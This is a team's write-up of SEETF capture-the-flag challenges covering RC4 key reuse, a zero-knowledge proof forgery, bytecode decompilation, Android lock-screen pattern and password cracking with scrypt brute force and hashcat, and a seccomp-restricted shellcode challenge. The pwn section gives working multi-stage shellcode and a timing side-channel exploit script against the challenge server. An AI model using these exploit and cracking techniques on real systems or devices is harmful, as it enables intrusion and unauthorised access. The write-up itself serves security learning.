Our team recently participated in an SEETF managed by the Singapore-based CTF team, Social Engineering Experts. It was a hard CTF, with few solves in most tasks. We spent limited time on this CTF, and solved 8 out of 52 tasks.. The tasks we completed were enjoyable and well-designed.

Crypto/πŸŽ“ BabyRC4

Description

This challenge gives us a RC4-crypto python script containing outputs when the correct flag has been encrypted.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#chall.py
from Crypto.Cipher import ARC4
from os import urandom
key = urandom(16)
flag = b'SEE{?????????????????????????????????}'[::-1]

def enc(ptxt):
    cipher = ARC4.new(key)
    return cipher.encrypt(ptxt)

print(f"c0 = bytes.fromhex('{enc(flag).hex()}')")
print(f"c1 = bytes.fromhex('{enc(b'a'*36).hex()}')")

"""
c0 = bytes.fromhex('b99665ef4329b168cc1d672dd51081b719e640286e1b0fb124403cb59ddb3cc74bda4fd85dfc')
c1 = bytes.fromhex('a5c237b6102db668ce467579c702d5af4bec7e7d4c0831e3707438a6a3c818d019d555fc')
"""

Solution

From the code, we have total of four relevant strings, and one unknown key. We know both the plaintext and ciphertext for c1, and this can be used to find the key used to encipher c0. This can be done manually, but usually there are some codes available on GitHub that can do this for us. This RC4StaticKeyAttack is perfect for our challenge. In order to use this code, we need three seperate files, contaning β€œknown plaintext”, β€œknown encrypted plaintext”, and β€œunknown encrypted plaintext”. Respectively, this is β€œa*36”, β€œc1” and β€œc0”.

We first have to unhex the hex-strings in c0 and c1, before saving the results to two seperate files. Then, running this command gives us the flag reversed:

1
2
3
4
5
$ python rc4Cracker.py a c1.txt c0.txt
}5382efac:s5ss5y3k_4Cr_35Uer_rEv3n{EοΏ½_

$ echo "}5382efac:s5ss5y3k_4Cr_35Uer_rEv3n{EοΏ½_" | rev
_οΏ½E{n3vEr_reU53_rC4_k3y5ss5s:cafe2835}

Flag: SEE{n3vEr_reU53_rC4_k3y5ss5s:cafe2835}

Crypto/πŸŽ“ Dumb Chall

Description

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import random
import time
from Crypto.Util.number import bytes_to_long, isPrime

from secret import FLAG


def fail():
    print("You have disappointed the pigeon.")
    exit(-1)


def generate_prime_number(bits: int = 128) -> int:
    num = random.getrandbits(bits)
    while not isPrime(num):
        num += 1
    return num


def generate_random_boolean() -> bool:
    return bool(random.getrandbits(1))


def first_verify(g, p, y, C, w, r) -> bool:
    assert w
    return ((y * C) % p) == pow(g, w, p)


def second_verify(g, p, y, C, w, r) -> bool:
    assert r
    return pow(g, r, p) == C


p = generate_prime_number()
g = random.getrandbits(128)
x = bytes_to_long(FLAG.encode())
y = pow(g, x, p)

print(f"p = {p}")
print(f"g = {g}")
print(f"y = {y}")

print("Something something zero-knowledge proofs blah blah...")
print("Why not just issue the challenge and the verification at the same time? Saves TCP overhead!")

seen_c = set()
for round in range(30):
    w, r = None, None
    choice = generate_random_boolean()
    if not choice:
        w = int(input("Enter w: "))
        C = int(input("Enter C: "))
        if C in seen_c:
            fail()
        seen_c.add(C)
        verify = first_verify
    else:
        r = int(input("Enter r: "))
        C = int(input("Enter C: "))
        if C in seen_c:
            fail()
        seen_c.add(C)
        verify = second_verify
    if not verify(g, p, y, C, w, r):
        fail()
    else:
        print(f"You passed round {round + 1}.")
time.sleep(1)
print(
    "You were more likely to get hit by lightning than proof correctly 30 times in a row, you must know the secret right?"
)
print(f"A flag for your troubles - {FLAG}")

Solution

From main.py, we can see two equations that needs to be solved in order to find r, w and c - given that we know p, g and y. This ChatGPT-made little script translates this for us. Important to note that we must provide a new c-value each time.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import random
from Crypto.Util.number import inverse

def calculate_w_C(p, g, y):
    # Generate a random value for w
    w = random.randint(1, p-1)

    # Calculate C using the formula ((y * C) % p) = pow(g, w, p)
    C = (pow(g, w, p) * inverse(y, p)) % p

    return w, C

# Example usage
p = 138339054622480636217973886436684429447
g = 187082860418021956490875773844728890046
y = 63635950892574443465191557662369110480

w, C = calculate_w_C(p, g, y)
print(f"w = {w}")
print(f"C = {C}")

def calculate_r_C(p, g, y):
    # Generate a random value for r
    r = random.randint(1, p-1)

    # Calculate C as pow(g, r, p)
    C = pow(g, r, p)

    return r, C

# Example usage
#p = 62511905156902670651650359514373349527
#g = 318354074501276353109508236329421326191
#y = 43603606418406660908149360984632747011

r, C = calculate_r_C(p, g, y)
print(f"r = {r}")
print(f"C = {C}")

When sending the first w and C values, we are asked to send the w and C or r and C again. Since the solution-code uses β€œrandom.randint”, we get different solutions every time we run the code, although p, g and y are the same.

This way, by running the code 30 times, and sending different answers each time to the server, we are successfull.

1
2
3
4
5
6
7
8
9
10
(...)
You passed round 28.
Enter w: 26653330868271923629249562507999503201
Enter C: 89748417146455869464518051899557623573
You passed round 29.
Enter r: 3172230171798229839659115946053117428
Enter C: 21233648226212261214066492576671944623
You passed round 30.
You were more likely to get hit by lightning than proof correctly 30 times in a row, you must know the secret right?
A flag for your troubles - SEE{1_571ll_h4v3_n0_kn0wl3d63}

FLAG: SEE{1_571ll_h4v3_n0_kn0wl3d63}

Rev/πŸŽ“ decompile-me

GO DECOMPILE ME NOW!!!

Solution

Used uncompyle6 to decompile the given bytecode. This produced the following output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ uncompyle6 decompile-me.pyc 
# uncompyle6 version 3.9.0
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0]
# Embedded file name: decompile-me.py
# Compiled at: 2023-04-24 17:58:34
# Size of source mod 2**32: 433 bytes
from pwn import xor
with open('flag.txt', 'rb') as (f):
    flag = f.read()
a = flag[0:len(flag) // 3]
b = flag[len(flag) // 3:2 * len(flag) // 3]
c = flag[2 * len(flag) // 3:]
a = xor(a, int(str(len(flag))[0]) + int(str(len(flag))[1]))
b = xor(a, b)
c = xor(b, c)
a = xor(c, a)
b = xor(a, b)
c = xor(b, c)
c = xor(c, int(str(len(flag))[0]) * int(str(len(flag))[1]))
enc = a + b + c
with open('output.txt', 'wb') as (f):
    f.write(enc)

And here is the script to reverse this xor encryption:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import xor

# Load the encrypted file
with open('output.txt', 'rb') as f:
    enc = f.read()

# Compute lengths for different sections
enc_len = len(enc)
third_len = enc_len // 3

# Split the encrypted data into thirds
a_enc, b_enc, c_enc = enc[:third_len], enc[third_len:2*third_len], enc[2*third_len:]

# XOR operations for decryption
c = xor(c_enc, int(str(enc_len)[0]) * int(str(enc_len)[1]))
b = xor(a_enc, c)
a_first = xor(a_enc, xor(b_enc, xor(c_enc, int(str(enc_len)[0]) * int(str(enc_len)[1]))))
a = xor(a_first, int(str(enc_len)[0]) + int(str(enc_len)[1]))

# Concatenate decrypted sections
flag = a + c + b

print(flag)

# Save the decrypted data
with open('decrypted_flag.txt', 'wb') as f:
    f.write(flag)

FLAG: SEE{s1mP4l_D3c0mp1l3r_XDXD}

Pwn/πŸŽ“ Shellcode As A Service

Description

Hey, welcome to my new SaaS platform! As part of our early access program, we are offering the service for FREE. Our generous free tier gives you a whole SIX BYTES of shellcode to run on our server. What are you waiting for? Sign up now!

Solution

The challenge provides access to a server where you can execute shellcode, limited to six bytes. However, the server restricts the system calls that can be executed using the seccomp security feature. Only the open and read system calls are allowed. The goal is to read the contents of the flag file, which requires bypassing this limitation.

To overcome the restriction, we will use a multistage shellcode approach. The idea is to execute a small initial shellcode that sets up the environment to read more shellcode from stdin. Let’s break down the solution step by step:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python3
from pwn import *
from glob import glob 

context.update(arch="amd64")
context.log_level = "debug"

exe = "./chall"
#p = process(exe)
p = process(["strace",exe])

# Stage 1 shellcode
sc = f"""
//read(rsi=0, rdi=rip, rdx=1000) #rcx=RIP
push rdx
pop rsi
push rax
pop rdi
syscall
"""

# Read flag shellcode
sc_flag = f"""
.rept 128
nop
.endr

// open("/flag", NULL)
lea rbx, [rip+flag] # load /flag [flag]
mov rax, 2
mov rdi, rbx
mov rsi, 0
syscall

// read(rax, buffer, 1000)
lea rdi, [rax] # file descriptor
lea rsi, [rip+buffer] # buffer
mov rdx, 1000 # count
mov rax, 0 # sys_read
syscall

// write(1, buffer, rax)
mov rdi, 1 # stdout
lea rsi, [rip+buffer] # buffer
mov rdx, rax # bytes read
mov rax, 1 # sys_write
syscall

flag:
.string "./flag"
buffer:
.space 1000
"""

p.recv()
p.send(asm(sc))
p.send(asm(sc_flag))
p.interactive()

This script employs a clever 6-byte shellcode that performs two important tasks: it reads additional bytes from stdin and writes them to the location where execution continues. sys.read() requires three arguments: a file descriptor, a buffer and a size value:
read(int fd, void *buf, size_t count);.

As one can see form a x86 syscall table, to read from stdin we need to set RAX=0, RSI=0 and RDX to some value. Next we need to set the buffer pointer, RDI register, to point to the place in memory where the bytes that get read in should be placed.

It is very hard to set all these registers up correctly with only 6 bytes of shellcode, but we can leverage the register data lying around at the time of execution.

We can therefore use the following shellcode to read in more bytes from stdin:

1
2
3
4
5
6
7
8
sc = f"""
//read(rdi=rip, rsi=0, rdx=1000) #rcx=RIP
push rdx
pop rsi
push rax
pop rdi
syscall
"""

Stage 2 will therefore be in the stdin buffer. By reading into the address of the RIP (instruction pointer), the current code is overwritten with the stage 2 payload. To ensure proper execution, a nopsled is included in the stage 2 payload to handle any byte alignment issues.
For further exploration, here is a good medium article explaining multi-stage shellcodes: Shellcoding 0x3: Dropping Multi-stage Payload.

When running the above script with strace we see it works:

1
2
3
4
5
6
7
read(0, "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"..., 20148224) = 1238
open("./flag", O_RDONLY)                = 3
read(3, "SEE{REDACTED}", 1000)          = 13
write(1, "SEE{REDACTED}", 13)           = 1
[DEBUG] Received 0x27 bytes:
    b'+++ killed by SIGSYS (core dumped) +++\n'
+++ killed by SIGSYS (core dumped) +++

HOWEVER, the program uses seccomp to limit available syscalls to only OPEN and READ:

1
2
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) == 0);    
    assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0);

Therefore, we need to find an alternative method to read the file without using the write syscall. After some research, we discovered a similar shellcode challenge called β€œmute” in the 2017 DEFCON quals. That challenge disallowed the use of the write syscall, and participants solved it by employing a timing side-channel attack.

The idea behind a timing attack is to glean information based on how long operations take to execute. Here, the basic idea of the attack is to guess each character of the flag, one at a time. If a guess is correct, the connection is kept open, otherwise, it is closed.

Here’s the script that successfully solves the challenge: SOLVE SCRIPT:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/python3
from pwn import *
from glob import glob 
import string

# Set context debug level
context.update(arch="amd64")
context.log_level = "error"

elf = ELF("./chall")
context.binary = elf

# Precompile the parts of the shellcode that do not change during iterations
nop_shellcode = asm("""
    .rept 9
    nop
    .endr
""")
open_shellcode = asm(shellcraft.open("/flag", constants.O_RDONLY, None))
read_shellcode = asm(shellcraft.read(3, count=13))
exit_setup_shellcode = asm("""
        //Set up exit
        xor rax, rax
        mov rdi, 4
        mov r8, 60
""")


def connect():
    sc = f"""
    //read(rsi=0, rdi=rip, rdx=1000) #rcx=RIP
    push rdx
    pop rsi
    push rax
    pop rdi
    syscall
    """
    global p
    #p = process(elf.file.name)
    p = remote("win.the.seetf.sg", 2002)
    p.recv()
    p.send(asm(sc))

def tryChar(c, index):
    connect()

    shellcode = nop_shellcode
    shellcode += open_shellcode
    shellcode += read_shellcode
    shellcode += exit_setup_shellcode

    # Compile the dynamic part together with the exit part
    cmp_and_exit_shellcode = f"""
        // Compare each guessed character with the flag loaded in memory
        mov rbx, [rsp + {index // 8}*8]
        shr rbx, {8*(index%8)}
        cmp bl, {ord(c)}
        jz loop

        // Exit if correct
        mov rax, r8
        syscall
        jmp end

        // Loop if incorrect
        loop:
            jmp loop
        end:
    """
    shellcode += asm(cmp_and_exit_shellcode)

    p.send(shellcode)

    # Try reading
    try:
        p.recv(timeout=0.5)
    except:
        # Connection closed on us, wrong guess
        p.close()
        return False

    # Connection stayed open, correct guess
    p.close()
    return True


flag = "SEE{"

# Not specifying stop here since we don't know how long the flag is
while True:
    # Guess every character
    #"SEE{REDACTED}":
    #string.printable:
    for c in string.printable:
        print("Trying char: " + c)

        # If we found this char, break and move to the next
        if tryChar(c, len(flag)):
            flag += c
            print(f"Flag is now: {flag}")
            break

    else:
        # If we hit this, we're probably done reading the flag
        break

print("Flag: " + flag)

The stage 2 shellcode reads the β€œflag” file into memory and then checks each character against a guessed character. If the guess is correct, the shellcode enters an infinite loop, keeping the connection open. If the guess is incorrect, the shellcode performs a syscall not allowed by seccomp, causing the program to terminate and close the connection. The script starts with an empty flag and a set of possible characters. For each position in the flag, it iterates over the possible characters and uses the tryChar function to test each one. If the connection remains open, the guessed character is appended to the flag and the script moves on to the next position. This process continues until all positions have been guessed correctly.

FLAG: SEE{n1c3_sh3llc0ding_d6e25f87c7ebeef6e80df23d32c42d00}

Misc / NoCode

Description

Solution

As the code suggest, this is a white-space encoded text, and therefore we cannot see anything in the text-fields. Copying the text to Cyberchef, we can see these red dots, seperated with spaces. ​ ​ ​​ ​ ​​​ ​ ​ ​​​ ​ ​ ​ ​ ​ ​​ ​​​​ ​ ​ ​​ ​ ​​ ​ ​ ​​​ ​ ​​​ ​​​​ ​​ ​ ​​ ​ ​ ​​ ​​ ​​ ​ ​​ ​ ​ ​​ ​​ ​​ ​ ​ ​ ​​ ​​​ ​​ ​​ ​​ ​ ​​ ​ ​​ ​​​​ ​​ ​​​​​​ ​ ​ ​ ​​​ ​ ​​​ ​ ​​​ ​​ ​​ ​ ​ ​​​ ​​ ​​ ​ ​​​ ​​ ​​ ​​​ ​​​​ ​​ ​ ​​​​ ​​ ​ ​​​ ​ ​​ ​​​​ ​​​ ​ ​​​ ​​​ ​ ​​ ​​​​​ ​​​ ​​​ ​​ ​​​ ​ ​​​ ​​ ​​ ​​ ​​ ​​​ ​​​ ​ ​​​​ ​ ​ ​ ​

This looks like binary, or maybe morse. Using Sublime, we can fast and easy replace the dots and spaces with 0 and 1.

The dots are represented with <0x200b> in Sublime. By replacing <0x200b> with 0, and space with 1, we have a binary code that gives us the flag when decoded in CyberChef:

Flag: SEE{vanilla.js.org_dfe6a05ccbec9bda49cd1b70b2692b45}

Description

Solution

ChatGPT provided us with a program that was able to search for a pattern in a grid. It was quite long, but the main part can be seen here:

for row in range(rows):
    for col in range(cols):
        # Check if the current cell matches the first character of the pattern
        if grid[row][col] == pattern[0]:
            # Check for pattern in all directions
            for direction in directions:
                if search_from_position(row, col, direction):
                    match = {
                        'start': (row, col),
                        'end': (row + (pattern_length - 1) * direction[0], col + (pattern_length - 1) * direction[1])
                    }
                    matches.append(match)

We transformed the text-file into a β€˜grid’ consisting of nested lists in python, and used the chatGPT-provided algoritm to search for SEE{ in it. Thankfully we found just one match which hopefully should be the correct one. We searched for the rest of the flag using the following script:

x = 487
y = 953
flag = ''
for i in range(40):
    flag+=grid[x][y]
    x-=1
    y-=1
print(flag)

We had to ajust the number of characters in the flag a few times to get the correct amout, but eventually we got the flag! FLAG: SEE{you_found_me_now_try_the_1337er_one}

Misc / Android Zoo

Description

Solution

First Device

Found a chinese writeup similar to the challenge faced with the first device. Adjusting the code to give 5-length password, we are able to find the pattern. https://hackmd.io/@crazyman/BJXeu3abY

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# a1.py
file1 = open('password.txt', 'a')
for a in "123456789":
    for b in "123456789":
        for c in "123456789":
            for d in "123456789":
                for e in "123456789":
                    if a != b and a != c and a != d and a != e \
                            and b != c and b != d and b != e \
                            and c != d and c != e \
                            and d != e:
                        password = a + b + c + d + e
                        file1.write(password + '\n')
file1.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#c1.py
import struct
import binascii
import scrypt

N = 16384
r = 8
p = 1
f = open('gatekeeper.pattern.key', 'rb')
blob = f.read()
s = struct.Struct('<' + '17s 8s 32s')
(meta, salt, signature) = s.unpack_from(blob)
#print(salt)
f1 = open('password.txt', 'rb')
lines = f1.readlines()

for line in lines:
    password = line.rstrip()  # Remove newline character
    to_hash = meta + password
    hash = scrypt.hash(to_hash, salt, N, r, p)

    print('password: %s' % password)
    print('signature: %s' % binascii.hexlify(signature))
    print('Hash:      %s' % binascii.hexlify(hash[0:32]))
    print('Equal:     %s' % (hash[0:32] == signature))
    if hash[0:32] == signature:
        print("OK")
        exit()
1
2
3
4
5
6
7
8
9
 $ python a1.py
 $ python c1.py
(...)

password: b'95184'
signature: b'8c6f2d4d5eb89748ca46b11da509abb1d7a1c80e802ed071c63d5d7ca9109319'
Hash:      b'8c6f2d4d5eb89748ca46b11da509abb1d7a1c80e802ed071c63d5d7ca9109319'
Equal:     True
OK

Second device

password.key contained the following ` 6DFE4D0C832761398B38D7CFAD64D78760DEBAD266EB31BD62AFE3E486004CE6ECEC885C which is the sha-hash and the md5-hash concatinated. From this we gathered the MD5 hash 66EB31BD62AFE3E486004CE6ECEC885C` which is easier to crack.

Opening locksetting.db in sqlite3 we can read the lockscreen.password_salt-value to be 8074783686056175940. Transforming this to hex and we have our salt: 700f64fafd7f6944

We were told that the password was in Rockyou, so we started up hashcat with mode 10 (md5($pass.$salt)), our hash and salt and finaly the rockyou wordlist.

1
2
3
4
5
6
7
8
9
10
11
12
13
hashcat -m 10 66EB31BD62AFE3E486004CE6ECEC885C:700f64fafd7f6944 -a 0 ~/Downloads/rockyou.txt 
hashcat (v6.2.5) starting

[...]

Dictionary cache built:
* Filename..: /home/heitmann/Downloads/rockyou.txt
* Passwords.: 14344394
* Bytes.....: 139921525
* Keyspace..: 14344387
* Runtime...: 1 sec

66eb31bd62afe3e486004ce6ecec885c:700f64fafd7f6944:PIGeon4ever

The password for device nr two is PIGeon4ever

FLAG: SEE{PIGeon4ever:95184}

Tags:

Categories:

Updated:

Comments